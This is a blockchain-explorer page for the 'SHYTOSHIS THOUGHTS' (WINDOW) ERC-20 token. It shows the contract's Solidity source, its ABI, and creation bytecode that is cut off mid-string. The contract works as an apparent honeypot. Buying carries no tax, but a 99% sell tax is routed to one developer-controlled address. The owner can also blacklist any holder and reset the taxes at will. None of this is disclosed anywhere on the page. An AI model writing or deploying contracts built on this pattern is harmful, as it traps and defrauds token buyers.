ERC-20
Overview
Max Total Supply
1,000,000,000 WINDOW
Holders
10
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,979,483.155109216 WINDOWValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Window
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-02-28 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Window is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SHYTOSHIS THOUGHTS"; string private constant _symbol = "WINDOW"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 99; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xf34f4D71C4A19043e359BF9D8E9498B9Fc3D1eDc); address payable private _marketingAddress = payable(0xf34f4D71C4A19043e359BF9D8E9498B9Fc3D1eDc); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = true; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function buytax() public view returns (uint256) { return _taxFeeOnBuy; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreallFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualSwap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualclaim() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockAllBot(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBots(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreallFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setTax(uint256 redisBuy, uint256 redisSell, uint256 taxBuy, uint256 taxSell) public onlyOwner { _redisFeeOnBuy = redisBuy; _redisFeeOnSell = redisSell; _taxFeeOnBuy = taxBuy; _taxFeeOnSell = taxSell; } //Set minimum tokens required to swap. function setminSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setmaxtwallet(uint256 maxtx,uint256 maxw) public onlyOwner { _maxTxAmount = maxtx; _maxWalletSize = maxw; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockAllBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buytax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualclaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisBuy","type":"uint256"},{"internalType":"uint256","name":"redisSell","type":"uint256"},{"internalType":"uint256","name":"taxBuy","type":"uint256"},{"internalType":"uint256","name":"taxSell","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxtx","type":"uint256"},{"internalType":"uint256","name":"maxw","type":"uint256"}],"name":"setmaxtwallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setminSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052670de0b6b3a76400006000196200001c919062000759565b6000196200002b9190620007c0565b600655600060085560006009556000600a556063600b55600a54600c55600b54600d55600c54600e55600d54600f5573f34f4d71c4a19043e359bf9d8e9498b9fc3d1edc601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f34f4d71c4a19043e359bf9d8e9498b9fc3d1edc601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff02191690831515021790555066470de4df82000060165566470de4df8200006017556509184e72a0006018553480156200018157600080fd5b50600062000194620006ef60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546002600062000249620006ef60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200032857600080fd5b505afa1580156200033d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000363919062000865565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003c657600080fd5b505afa158015620003db573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000401919062000865565b6040518363ffffffff1660e01b815260040162000420929190620008a8565b602060405180830381600087803b1580156200043b57600080fd5b505af115801562000450573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000476919062000865565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004cc620006f760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000679620006ef60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620006e09190620008e6565b60405180910390a35062000903565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620007668262000720565b9150620007738362000720565b9250826200078657620007856200072a565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007cd8262000720565b9150620007da8362000720565b925082821015620007f057620007ef62000791565b5b828203905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200082d8262000800565b9050919050565b6200083f8162000820565b81146200084b57600080fd5b50565b6000815190506200085f8162000834565b92915050565b6000602082840312156200087e576200087d620007fb565b5b60006200088e848285016200084e565b91505092915050565b620008a28162000820565b82525050565b6000604082019050620008bf600083018562000897565b620008ce602083018462000897565b9392505050565b620008e08162000720565b82525050565b6000602082019050620008fd6000830184620008d5565b92915050565b613d9680620009136000396000f3fe6080604052600436106101d15760003560e01c8063715018a6116100f7578063b360711d11610095578063c92823ba11610064578063c92823ba1461065f578063d9e8ed4314610688578063dd62ed3e146106b1578063f2fde38b146106ee576101d8565b8063b360711d146105b9578063b792507e146105d0578063bfd79284146105f9578063c492f04614610636576101d8565b80638da5cb5b116100d15780638da5cb5b146104fb5780638f9a55c01461052657806395d89b4114610551578063a9059cbb1461057c576101d8565b8063715018a61461047c5780637d1db4a5146104935780637f2feddc146104be576101d8565b80632fd689e31161016f5780634a1263f31161013e5780634a1263f3146103d457806351bc3c85146103ff5780636d8aa8f81461041657806370a082311461043f576101d8565b80632fd689e31461032a578063313ce567146103555780633ee0f5f51461038057806349bd5a5e146103a9576101d8565b806318160ddd116101ab57806318160ddd1461027057806320c09a491461029b57806323b872dd146102c45780632a9b807214610301576101d8565b806306fdde03146101dd578063095ea7b3146102085780631694505e14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610717565b6040516101ff9190612bb0565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612c7a565b610754565b60405161023c9190612cd5565b60405180910390f35b34801561025157600080fd5b5061025a610772565b6040516102679190612d4f565b60405180910390f35b34801561027c57600080fd5b50610285610798565b6040516102929190612d79565b60405180910390f35b3480156102a757600080fd5b506102c260048036038101906102bd9190612d94565b6107a8565b005b3480156102d057600080fd5b506102eb60048036038101906102e69190612dfb565b61085f565b6040516102f89190612cd5565b60405180910390f35b34801561030d57600080fd5b5061032860048036038101906103239190612e7a565b610938565b005b34801561033657600080fd5b5061033f6109ea565b60405161034c9190612d79565b60405180910390f35b34801561036157600080fd5b5061036a6109f0565b6040516103779190612ec3565b60405180910390f35b34801561038c57600080fd5b506103a760048036038101906103a29190612ede565b6109f9565b005b3480156103b557600080fd5b506103be610a98565b6040516103cb9190612f1a565b60405180910390f35b3480156103e057600080fd5b506103e9610abe565b6040516103f69190612d79565b60405180910390f35b34801561040b57600080fd5b50610414610ac8565b005b34801561042257600080fd5b5061043d60048036038101906104389190612e7a565b610ba1565b005b34801561044b57600080fd5b5061046660048036038101906104619190612f35565b610c53565b6040516104739190612d79565b60405180910390f35b34801561048857600080fd5b50610491610ca4565b005b34801561049f57600080fd5b506104a8610df7565b6040516104b59190612d79565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190612f35565b610dfd565b6040516104f29190612d79565b60405180910390f35b34801561050757600080fd5b50610510610e15565b60405161051d9190612f1a565b60405180910390f35b34801561053257600080fd5b5061053b610e3e565b6040516105489190612d79565b60405180910390f35b34801561055d57600080fd5b50610566610e44565b6040516105739190612bb0565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e9190612c7a565b610e81565b6040516105b09190612cd5565b60405180910390f35b3480156105c557600080fd5b506105ce610e9f565b005b3480156105dc57600080fd5b506105f760048036038101906105f29190612f35565b610f70565b005b34801561060557600080fd5b50610620600480360381019061061b9190612f35565b611060565b60405161062d9190612cd5565b60405180910390f35b34801561064257600080fd5b5061065d60048036038101906106589190612fc7565b611080565b005b34801561066b57600080fd5b5061068660048036038101906106819190613165565b6111ba565b005b34801561069457600080fd5b506106af60048036038101906106aa91906131ae565b6112e4565b005b3480156106bd57600080fd5b506106d860048036038101906106d391906131ee565b61138b565b6040516106e59190612d79565b60405180910390f35b3480156106fa57600080fd5b5061071560048036038101906107109190612f35565b611412565b005b60606040518060400160405280601281526020017f534859544f534849532054484f55474854530000000000000000000000000000815250905090565b60006107686107616115d4565b84846115dc565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6107b06115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461083d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108349061327a565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061086c8484846117a7565b61092d846108786115d4565b61092885604051806060016040528060288152602001613d3960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108de6115d4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202c9092919063ffffffff16565b6115dc565b600190509392505050565b6109406115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c49061327a565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60185481565b60006009905090565b610a016115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a859061327a565b60405180910390fd5b8060188190555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b096115d4565b73ffffffffffffffffffffffffffffffffffffffff161480610b7f5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b676115d4565b73ffffffffffffffffffffffffffffffffffffffff16145b610b8857600080fd5b6000610b9330610c53565b9050610b9e81612090565b50565b610ba96115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2d9061327a565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b6000610c9d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612316565b9050919050565b610cac6115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d309061327a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600681526020017f57494e444f570000000000000000000000000000000000000000000000000000815250905090565b6000610e95610e8e6115d4565b84846117a7565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ee06115d4565b73ffffffffffffffffffffffffffffffffffffffff161480610f565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f3e6115d4565b73ffffffffffffffffffffffffffffffffffffffff16145b610f5f57600080fd5b6000479050610f6d81612384565b50565b610f786115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611005576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffc9061327a565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60106020528060005260406000206000915054906101000a900460ff1681565b6110886115d4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c9061327a565b6040518091